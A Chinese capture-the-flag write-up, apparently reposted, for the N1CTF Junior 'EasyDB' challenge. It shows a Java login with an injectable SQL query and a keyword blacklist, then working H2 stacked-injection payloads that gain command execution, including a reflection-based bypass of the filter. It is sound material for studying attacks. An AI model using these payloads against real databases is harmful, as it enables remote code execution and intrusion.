CTF-web:java-h2 堆叠注入rce -- N1ctf Junior EasyDB

ops/2025/2/19 5:50:39/

代码存在sql注入

    // 处理登录表单的POST请求@PostMapping({"/login"})public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException {// 验证用户凭据if (this.userService.validateUser(username, password)) {session.setAttribute("username", username);  // 将用户名存储在会话中return "redirect:/";  // 验证成功,重定向到首页} else {model.addAttribute("error", "Invalid username or password");  // 添加错误消息到模型return "login";  // 返回登录视图}}
// 声明一个方法来验证用户的凭据
public boolean validateUser(String username, String password) throws SQLException {// 使用格式化字符串构建SQL查询语句String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);// 检查生成的查询是否安全,防止SQL注入if (!SecurityUtils.check(query)) {return false;  // 如果查询不安全,返回false} else {Throwable var8;  // 声明一个Throwable变量,用于异常处理// 使用try-with-resources语句自动管理Statement资源try (Statement stmt = this.connection.createStatement()) {// 执行SQL查询stmt.executeQuery(query);// 获取结果集ResultSet resultSet = stmt.getResultSet();Throwable var7 = null;  // 声明一个Throwable变量,用于捕获异常try {// 检查结果集是否有下一条记录(即用户是否存在)var8 = resultSet.next();} catch (Throwable var31) {var8 = var31;  // 捕获异常var7 = var31;  // 将异常赋值给var7以便后续处理throw var31;  // 重新抛出异常} finally {// 确保结果集在使用完后被关闭if (resultSet != null) {if (var7 != null) {  // 如果有异常,处理异常try {resultSet.close();  // 关闭结果集} catch (Throwable var30) {var7.addSuppressed(var30);  // 将异常添加到已捕获的异常中}} else {resultSet.close();  // 正常关闭结果集}}}} } 
}

SELECT * FROM users WHERE username = '%s' AND password = '%s'

// 定义一个名为SecurityUtils的公共类
public class SecurityUtils {// 使用HashSet存储不安全的SQL关键字,避免SQL注入攻击private static final HashSet<String> blackLists = new HashSet<>();// 默认构造函数public SecurityUtils() {}// 检查给定的SQL语句是否包含黑名单中的关键字public static boolean check(String sql) {// 遍历黑名单中的每一个关键字for (String keyword : blackLists) {// 将SQL语句转换为小写并检查是否包含黑名单关键字if (sql.toLowerCase().contains(keyword)) {return false; // 如果发现关键字,返回false,表示SQL不安全}}// 如果没有发现黑名单关键字,返回true,表示SQL是安全的return true;}
}
static {  blackLists.add("runtime");  blackLists.add("process");  blackLists.add("exec");  blackLists.add("shell");  blackLists.add("file");  blackLists.add("script");  blackLists.add("groovy");  
}

使用堆叠注入rec,其标准利用形式如下

CREATE ALIAS EXEC AS '
String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";
}';
CALL EXEC('command');

按如下方式绕过waf

1.将被过滤的字符串拆分
2.Class<?> 声明通用类型的 Class 对象,使用Class.forName动态加载类赋值
3.因为过滤了runtime,使用getMethodRuntime.getRuntime方法反射后调用,这样可以不使用Runtime.getRuntime().exec(cmd)

CREATE ALIAS evil AS $$
void jerry(String cmd) throws Exception {String R = "R" + "untime";Class<?> c = Class.forName("java.lang." + R);Object rt = c.getMethod("get" + R).invoke(null);//实例化c.getMethod("exe" + "c", String.class).invoke(rt, cmd);//rt.exec(cmd)
}
$$;
CALL evil('command');
  • $$...$$ 是一种用于定义 字符串常量 或 函数体 的 定界符(delimiter)。它允许你在字符串或函数体中包含引号、换行符和其他特殊字符,而无需对这些字符进行转义。
  • invoke 方法用于调用获取到的方法。它的第一个参数是方法的调用者对象,第二个及以后的参数是方法的参数。

参考

2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog
JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laugh


http://www.ppmy.cn/ops/158797.html

相关文章

Grafana-使用Button修改MySQL数据库

背景 众所周知&#xff0c;Grafana是一个用来展示数据的平台&#xff0c;但是有时候还是会有需求说能不能有一个按钮&#xff0c;点击的时候再对数据库进行修改&#xff0c;从而达到更新数据的效果 经过多方查证&#xff0c;终于实现了一个简单的&#xff0c;点击button执行sq…

ArcGIS注册开发账号及API KEY

注册与激活 Sign up | ArcGIS Location Platform 填写信息&#xff0c;然后邮箱收到激活邮件&#xff0c;激活&#xff0c;再补充信息。 参考 Tutorial: Create an API key | Documentation | Esri Developer 产生API KEY Tutorial: Create an API key | Documentation |…

JavaScript作用域与闭包

一 作用域 在JavaScript中&#xff0c;作用域&#xff08;Scope&#xff09;指的是变量和函数的可访问性范围。在JavaScript中&#xff0c;作用域有全局作用域和局部作用域之分。 全局作用域&#xff08;Global Scope&#xff09;&#xff1a;全局作用域指的是在代码中任何位置…

ASP.NET Core SixLabors.ImageSharp v1.0 的图像实用程序类 web示例

这个小型实用程序库需要将 NuGet SixLabors.ImageSharp包&#xff08;版本 1.0.4&#xff09;添加到.NET Core 3.1/ .NET 6 / .NET 8项目中。它与Windows、Linux和 MacOS兼容。 这已针对 ImageSharp v3.0.1 进行了重新设计。 它可以根据百万像素数或长度乘以宽度来调整图像大…

C++17中的clamp函数

一、std::clamp() 其实在前面简单介绍过这个函数&#xff0c;但当时只是一个集中的说明&#xff0c;为了更好的理解std::clamp的应用&#xff0c;本篇再详细进行阐述一次。std::clamp在C17中其定义的方式为&#xff1a; template< class T > constexpr const T& cl…

二叉树(C语言版)

文章目录 二叉树完全二叉树和满二叉树二叉搜索树基本操作实现代码运行结果 分析红黑树2-3-4树(理论模型)红黑树(实际实现) 二叉树 树是一种层次结构&#xff0c;它在现实生活中是广泛存在的&#xff0c;比如&#xff1a;族谱(family tree)&#xff0c;组织机构&#xff0c;目录…

【个人开发】deepseed+Llama-factory 本地数据多卡Lora微调

文章目录 1.背景2.微调方式2.1 关键环境版本信息2.2 步骤2.2.1 下载llama-factory2.2.2 准备数据集2.2.3 微调模式2.2.4 微调脚本 2.3 踩坑经验2.3.1 问题一&#xff1a;ValueError: Undefined dataset xxxx in dataset_info.json.2.3.2 问题二&#xff1a; ValueError: Target…

STM32——HAL库开发笔记19(串口中断接收实验)(参考来源:b站铁头山羊)

本实验&#xff0c;我们以中断的方式使得串口发送数据控制LED的闪烁速度&#xff0c;发送1&#xff0c;慢闪&#xff1b;发送2&#xff0c;速度正常&#xff1b;发送3&#xff0c;快闪。 一、电路连接图 二、实现思路&CubeMx配置 1、实现控制LED的闪烁速度 uint32_t bli…